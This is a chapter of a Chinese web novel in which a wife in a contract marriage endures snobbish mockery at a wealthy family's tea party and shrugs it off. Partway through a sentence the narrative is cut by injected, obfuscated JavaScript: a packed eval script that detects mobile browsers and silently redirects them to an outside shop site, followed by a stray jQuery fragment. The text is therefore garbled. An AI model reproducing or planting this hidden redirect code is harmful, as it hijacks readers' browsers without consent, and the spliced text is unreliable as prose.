转眼,到了茶会当天。
午后下起雷阵雨,豆大的雨点噼里啪啦地砸在芭蕉叶上,蒸腾出股股湿热的泥土腥气。
林家大宅内,林颂怡穿着一袭剪裁合体的玫红旗袍,手中摇着把同色的檀香折扇,慵懒倚在玄关处。
陈妈领着乐少青从楼梯上缓缓走下来,尽管林颂怡这辈子见过环肥燕瘦各色美人,但在看到乐少青的那一刻,还是被小小地惊艳到了。
与婚礼那日有些浓厚的妆面不同,今日的乐少青,妆容像晨露般通透,隐约能看见皮肤下的纹理,更显得她似一朵刚从雨里摘下的,湿漉漉的花。
乐少青一头乌黑的长发松松挽成个圆髻,用一支翡翠点翠簪固定,簪头垂着三颗细小的珍珠,随着她下楼的步伐,轻轻磕在耳后;髻侧别了朵新鲜的茉莉,花茎缠着细银丝,散发着若有似无的幽香。
身上穿的是件孔雀蓝的纱笼,料子薄如蝉翼,远看像笼着层薄雾,裙摆开衩到膝盖上方,走动时露出一小截穿着白绫袜的小腿,袜口绣着圈极小的茉莉花纹,若隐若现。
浑身上下,除了发饰,唯一的首饰就是腕间那支温润的白玉镯。
整个人站在光影里,似一副被南洋潮气晕染过的工笔画,湿润而灵气。
林颂怡上下打量完,十分满意,冲着陈妈道:“行了,你们少奶奶我就带走啦。”
阿珠小跑两步,把乐少青忘带的手包递过去,小声讲了句:“少奶奶,给您装了好吃的,饿了可以吃。”
乐少青笑笑,茶会上怎么会饿到,但还是朝阿珠点头,“好,知道了。”
等坐进车里,林颂怡才凑近乐少青,手指点在那支玉镯上,“不错,带这个正好。”
车子往门腾区的私人官邸开,林颂怡靠在真皮座椅上,百无聊赖摇着扇子,开始给乐少青八卦些宾客的底细,“今天作东的是交通部陈部长的太太,人最是和气,你见了叫声陈伯母就行......待会看见你堂伯母,她说什么你都别往心里去,她那人嘴里吐不出什么象牙;阿菲呢去年刚从伦敦回来,眼睛长在头顶上,你乐意搭理就搭理,不乐意就算了......”
乐少青乖巧点头,手指无意识地转着腕间的玉镯。
其实她一点都不怯,工作后见过的阵仗比这大得多,只是既然签了协议当个温顺的林家少奶奶,就要把戏做足。
车停在陈宅气派的铁门前,雨势稍歇,林颂怡带着乐少青往里走,这次茶会地点不是露天的,而是在室内大厅。
乐少青抬眼看向里头的布置,不得不感叹这家的底蕴。
正中,是一盏巨大的绿水晶灯,流苏垂到桌面,灯穗上坠着的翡翠珠子随穿堂风轻晃,在大理石转盘上投下细碎的绿光,活像条游动的绿蛇。
主桌铺着暗纹绿桌布,边缘垂落的流苏扫过嵌贝壳的南洋花砖,桌上白瓷碟里码着切得四四方方的各类糕点。
视线向内,墙角供着尊笑面佛,佛龛前铜炉飘着线香,与悬在梁上的红绸宫灯暖光交织,在檀木椅的藤编靠背上投下细碎阴影。
远处墙上挂着幅峇迪蜡染画,画里的罗惹小贩正挑着担子穿行在热带雨林中,充满浓郁的南洋风情。
太太小姐们的纱笼像开了满园的花,争奇斗艳。
两人刚走到主桌旁,就看见穿翡翠黄旗袍的堂伯母李丽娟扭着腰走过来。
她有意无意晃着手腕上的钻石手链,上下扫了乐少青一圈,语气带着点挑剔,“哟,这不是阿荀家的那位吗?结婚那天我就看着太素净,怎么出门吃茶还穿得这么寡淡?年轻人不知道打扮,出去别人还以为我们林家亏待少奶奶呢。”
林颂怡就是见不得李丽娟这个样子,不等乐少青回复,她先笑着截了话,“我看挺好,素雅才显气质,清水出芙蓉嘛,比某些人满身钻晃得人眼晕强。”
李丽娟脸色一僵,讪讪笑了两声,“二姑......您真爱开玩笑。”
别看李丽娟平时爱呛人,就是林宏海这样的商业巨鳄,平日威风八面,但在林家,凡事都压不过一个“长”字。
论起辈分,他们头上始终压着这位还在世的二姑。
林颂怡可是林家祖老爷子生前最疼的小女儿,向来纵意而为,全家上下都得哄着她,李丽娟再会说,但若是敢此刻反驳这位二姨,明天宗族里的人就能把她的脊梁骨给戳烂。
李丽娟身后跟着的林菲抬着下巴,穿一身剪裁利落的洋装,她视线扫过乐少青的装扮,还算客气地招呼了一句,“堂嫂。”
落座后,大家三三两两聊天,乐少青安安静静坐在林颂怡身边,端着冻顶乌龙慢慢喝,有人过来打招呼就笑着应声。
她既不主动搭话,也没漏了半分礼数,疏离在人群之外。
坐了没半个钟头,林颂怡被陈家太太拉着去看后院新到的兰花,走之前拍了拍乐少青的手,低声嘱咐:“我去去就回,你自己待会儿,别拘着。”
林颂怡刚走,邻桌的几位太太小姐就交换了个眼神,聊天的声音故意拔高几分,还转成了带荷兰腔的英语。
这种殖民时期留下的习惯,也是她们用来划分圈子的隐形门槛。
“哎,你们听说了吗?林家这个少奶奶啊,之前在华人圈里连名号都没有,也不知道用了什么手段攀上的林尘荀。”一个穿白色纱笼,头发盘得光滑如镜的太太先开口。
“可不是嘛,我听人说,这位连圣特蕾莎女校是哪都不知道,估计以前读的是那种社区学校吧?那种地方出来的,能有什么见识......”另一个年轻一些,圆脸挑眼的小将接话,还瞥了乐少青一眼,见她垂着眼喝茶没反应,说得更起劲了:“也难怪,当初结婚圈子里就没人看好,尤家小姐跟林尘荀才是门当户对,现在倒好,娶个什么都不懂的回来,反正出席场合带出来也不用说话,当个摆件就行。”
“我看啊,她连英语都听不懂吧?你看我们说了这么久,她一点反应都没有。”几个人哄笑起来,林菲坐在边上,端着茶抿了一口,嘴角也带着点淡淡的嘲意,没出声也没阻止。
正笑着,那位最开始的太太忽然想起什么似的,扬声叫住路过的佣人,切成了中文故意说:“去把你家夫人上次拍卖会拍的那套英式骨瓷茶具拿出来,给林少奶奶泡杯锡兰红茶。哦对了,小心点啊,那套杯子十几万美金,别给没见过世面的人摔了,赔都赔不起。”
说完还冲周围人挤了挤眼,几个人又捂嘴笑成一团,眼睛有意无意往乐少青那边瞟,等着看她尴尬失态的样子。
乐少青拿着茶匙搅了搅茶杯,看着杯中起伏的碎叶,心里觉得好笑。
这些人说的英语她不仅听得懂,甚至比她们说得还标准,只是犯不着,她跟林尘荀本来就是协议婚姻,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17636900|206612||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这个场合对她来说就是个不得不出的公差,跟这些人置气纯粹是浪费时间。
听她们说得越来越离谱,乐少青只当是耳边风,连眉头都懒得皱一下。
坐久了腰有点酸,她索性起身,借口透气,往院子里走。
陈家的院子种满了鸡蛋花,风一吹,落得满地都是白瓣,她沿着还有水汽的石径慢慢走,偶尔停下来看看墙角开得盛的三角梅。
乐少青深吸了一口湿润的空气,南洋的花草真是养人气啊,野蛮生长,肆意热烈,比坐在那听些无意义的话舒服多了。
林颂怡端着茶杯回来时,一眼便瞧见原本属于乐少青的座位空了,她眼神瞬间就冷下来,扫过邻桌几位太太小姐还没来得及收敛的笑意,径直走到李丽娟身边,不轻不重地坐下。
瞥了母女俩一眼,“我就去看个花的功夫,你倒由着人挤兑自家侄媳妇?我跟你说,她是林家正经娶回来的少奶奶,谁要是给她气受,就是打我们的脸,你这个当伯母的,可别跟着那些碎嘴的一样糊涂。”
李丽娟自然目睹了全过程,一听林颂怡这话,面上一阵红一阵白的,她一大家子人都指着林氏集团吃饭,哪里敢真的得罪林尘荀。
一旁和那几位碎嘴关系还算不错的林菲,听见二姑婆的话,捏着茶杯的手紧了紧,也没敢帮她妈说半句话。
林颂怡没再搭理她们,转身往院子里找,没走两步,就看见乐少青蹲在花丛旁,正伸手逗一只跑过来的三花猫,嘴角还噙着一抹笑。
林颂怡心叹,这姑娘还真是心大,被人说了那么多难听话,还能笑得出来。
林颂怡走过去拍了拍她的肩膀,“我就知你坐不住,茶会快散了,我们回吧。”
乐少青闻言起身,纱笼不经意拂过沾着雨水的凤仙花。
她跟着林颂怡往厅内走,路过主桌的时候,还对着李丽娟、林菲和几位太太小姐点了点头,语气平静得像什么都没发生,“堂伯母、阿菲,我们先回去了。”
回去的车上,林颂怡拆了份从陈家打包的斑斓九层糕,递给乐少青,“刚才她们说的那些话,你没往心里去吧?”
乐少青小口吃着糕点,斑斓叶的清香在舌尖化开,甜而不腻,刚好是她喜欢的口味。
她摇头轻笑,“没有,就是觉得像看猴戏般没趣。”
林颂怡凝视她眼底的澄澈,心里暗暗点头,果然没看错人,这姑娘哪里是表面看着那么软和,心里透亮着呢。
车开回大宅的时候,暮色四合,林尘荀刚好下班回来,看见乐少青手里拎着的九层糕,眉梢微挑,“玩得开心?”
乐少青点点头,把装着九层糕的盒子递给他,“陈家做的九层糕很好吃,你要尝尝吗?”
傍晚的风卷着茉莉香吹过来,林尘荀素来不喜这类糕点,但在她期待的目光里,竟鬼使神差地接过那个盒子。
林颂怡回家没多久,就拨通了林尘荀书房的电话,她把茶会上几位太太小姐挤兑乐少青的事原原本本说了,末了还补了一句,“这姑娘心思敞亮不跟人计较,你做人丈夫的也别当甩手掌柜。”
挂了电话,林尘荀坐在书房里,他倒是没料到那些太太小姐们能碎嘴到这个地步,更没料到她受了委屈半分都没提,进门时递给他九层糕的笑还软乎乎的,看不出半点气闷的模样。
平静得让他此刻心生烦闷。